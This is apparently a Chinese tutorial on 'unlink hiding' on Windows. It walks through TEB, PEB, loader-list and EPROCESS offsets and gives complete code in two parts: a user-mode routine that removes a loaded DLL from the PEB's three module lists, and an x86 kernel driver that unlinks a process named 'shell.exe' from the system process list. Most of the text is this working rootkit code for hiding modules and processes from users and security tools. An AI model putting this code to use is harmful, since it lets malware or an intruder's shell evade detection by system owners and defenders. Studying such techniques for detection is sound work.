断链隐藏
1.PE 结构
TEB 结构体:包含进程的线程信息
PEB 结构体:包含进程信息
ETHREAD 结构体:代表进程的线程
EPROCESS 结构体:代表一个进程
PEB_LDR_DATA 结构体
部分节点表示一个加载到进程中的 DLL 模块,包含三个 LIST_ENTRY 双向链表结构体
PEB_LDR_DATA+0x0c 是 InLoadOrderModuleList (表示模块加载的顺序)
PEB_LDR_DATA+0x14 是 InMemoryOrderModuleList (表示模块在内存的顺序)
PEB_LDR_DATA+0x1c 是 InInitializationOrderModuleList (表示模块初始化的顺序)
——————————————
x64
gs:[0x30] 指向 TEB
gs:[0x60] 和 TEB+0x60 指向 PEB
PEB+0x18 指向 PEB_LDR_DATA
x86
fs:[0x0] 指向 TEB
fs:[0x30] 指向 PEB
PEB+0x0c 指向 PEB_LDR_DATA
2.用户层 断链隐藏
流程
对指定 DLL 模块的双向链表进行断链
获取 PEB_LDR_DATA 地址
分别对三个 LIST_ENTRY 中的指定 DLL 模块进行断链
代码编写
使用 x64,如果用 x86 会加载一些 x64 的 DLL 无法隐藏,用 x64 却不会加载 x86 的 DLL
x64 不能直接在 C 代码中写汇编
选择 Dubug,视图->解决方案资源管理器->源文件->添加->新建项->x64.asm
x64.asm->属性->从生成中排除(否)、项类型(自定义生成工具)、命令行(ml64 /Fo $(IntDir)%(fileName).obj /c %(fileName).asm)、输出($(IntDir)%(fileName).obj)
x64.asm (获取 PEB_LDR_DATA 地址):
.CODE
GetPEB_LDR_DATA PROC
mov rax, gs: [60h] ; PEB
mov rax, [rax + 18h] ; PEB_LDR_DATA
ret
GetPEB_LDR_DATA ENDP
END
x64Debug.cpp:
#include <iostream>
#include <windows.h>
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, * PUNICODE_STRING;
typedef struct _PEB_LDR_DATA
{
DWORD Length;
bool Initialized;
PVOID SsHandle;
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
} PEB_LDR_DATA, * PPEB_LDR_DATA;
typedef struct _LDR_DATA_TABLE_ENTRY {
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
void* BaseAddress;
void* EntryPoint;
ULONG SizeOfImage;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
ULONG Flags;
SHORT LoadCount;
SHORT TlsIndex;
HANDLE SectionHandle;
ULONG CheckSum;
ULONG TimeDateStamp;
} LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY;
// 声明自定义函数
extern "C" PEB_LDR_DATA * __stdcall GetPEB_LDR_DATA();
// 断链隐藏
void HideModule(HMODULE hModule) {
// 获取 PEB_LDR_DATA 地址
PEB_LDR_DATA* pld = GetPEB_LDR_DATA();
// 对 InLoadOrderModuleList 进行断链
LIST_ENTRY* head = &(pld->InLoadOrderModuleList); // 链表头
LIST_ENTRY* node = head->Flink; // 第一个节点
do {
LDR_DATA_TABLE_ENTRY* ldte = CONTAINING_RECORD(node, LDR_DATA_TABLE_ENTRY, InLoadOrderModuleList); // 获取当前节点所在的 LDR_DATA_TABLE_ENTRY 基址
// 双向链表断链
if (ldte->BaseAddress == hModule) { // DLL地址是要隐藏的 DLL
ldte->InLoadOrderModuleList.Blink->Flink = ldte->InLoadOrderModuleList.Flink;
ldte->InLoadOrderModuleList.Flink->Blink = ldte->InLoadOrderModuleList.Blink;
}
node = node->Flink; // 下一个节点
} while (node != head); // 遍历链表
// 对 InMemoryOrderModuleList 进行断链
head = &(pld->InMemoryOrderModuleList);
node = head->Flink;
do {
LDR_DATA_TABLE_ENTRY* ldte = CONTAINING_RECORD(node, LDR_DATA_TABLE_ENTRY, InMemoryOrderModuleList);
if (ldte->BaseAddress == hModule) {
ldte->InMemoryOrderModuleList.Blink->Flink = ldte->InMemoryOrderModuleList.Flink;
ldte->InMemoryOrderModuleList.Flink->Blink = ldte->InMemoryOrderModuleList.Blink;
}
node = node->Flink;
} while (node != head);
// 对 InInitializationOrderModuleList 进行断链
head = &(pld->InInitializationOrderModuleList);
node = head->Flink;
do {
LDR_DATA_TABLE_ENTRY* ldte = CONTAINING_RECORD(node, LDR_DATA_TABLE_ENTRY, InInitializationOrderModuleList);
if (ldte->BaseAddress == hModule) {
ldte->InInitializationOrderModuleList.Blink->Flink = ldte->InInitializationOrderModuleList.Flink;
ldte->InInitializationOrderModuleList.Flink->Blink = ldte->InInitializationOrderModuleList.Blink;
}
node = node->Flink;
} while (node != head);
/*
* 隐藏所有 DLL,不推荐
PLIST_ENTRY head;
head = &(ldr->InLoadOrderModuleList);
head->Flink = head->Blink = head;
head = &(ldr->InMemoryOrderModuleList);
head->Flink = head->Blink = head;
head = &(ldr->InInitializationOrderModuleList);
head->Flink = head->Blink = head;
*/
}
int main() {
// 对 ntdll.dll 进行断链
HideModule(GetModuleHandle(L"ntdll.dll"));
getchar(); // 通过 LordPE 查看发现 ntdll.dll 没有了
}
3.内核层 断链隐藏
流程
对指定进程模块的双向链表进行断链
获取 EPROCESS 地址
对双向链表中的指定进程模块进行断链
代码编写
x86Diver.c:
#include <ntddk.h>
VOID DriverUnload(PDRIVER_OBJECT driver) {
}
NTSTATUS DriverEntry(PDRIVER_OBJECT driver, PUNICODE_STRING reg_path) {
// 获取 EPROCESS 地址
PEPROCESS eprocess;
__asm {
mov eax, fs: [0x124] // ETHREAD
mov eax, [eax + 0x220] // EPROCESS
mov eprocess, eax;
}
PEPROCESS pCurProcess = eprocess; // 当前进程
do {
PCHAR ImageFileName = (PCHAR)pCurProcess + 0x174; // 获取当前进程名
// 双向链表断链
if (strcmp(ImageFileName, "shell.exe") == 0) { // 当前进程为 shell
PLIST_ENTRY curNode = (PLIST_ENTRY)((ULONG)pCurProcess + 0x88);
curNode->Flink->Blink = curNode->Blink;
curNode->Blink->Flink = curNode->Flink;
}
pCurProcess = (PEPROCESS)(*(PULONG)((ULONG)pCurProcess + 0x88) - 0x88); // 下一个进程
} while (eprocess != pCurProcess); // 遍历进程
driver->DriverUnload = DriverUnload;
return STATUS_SUCCESS;
}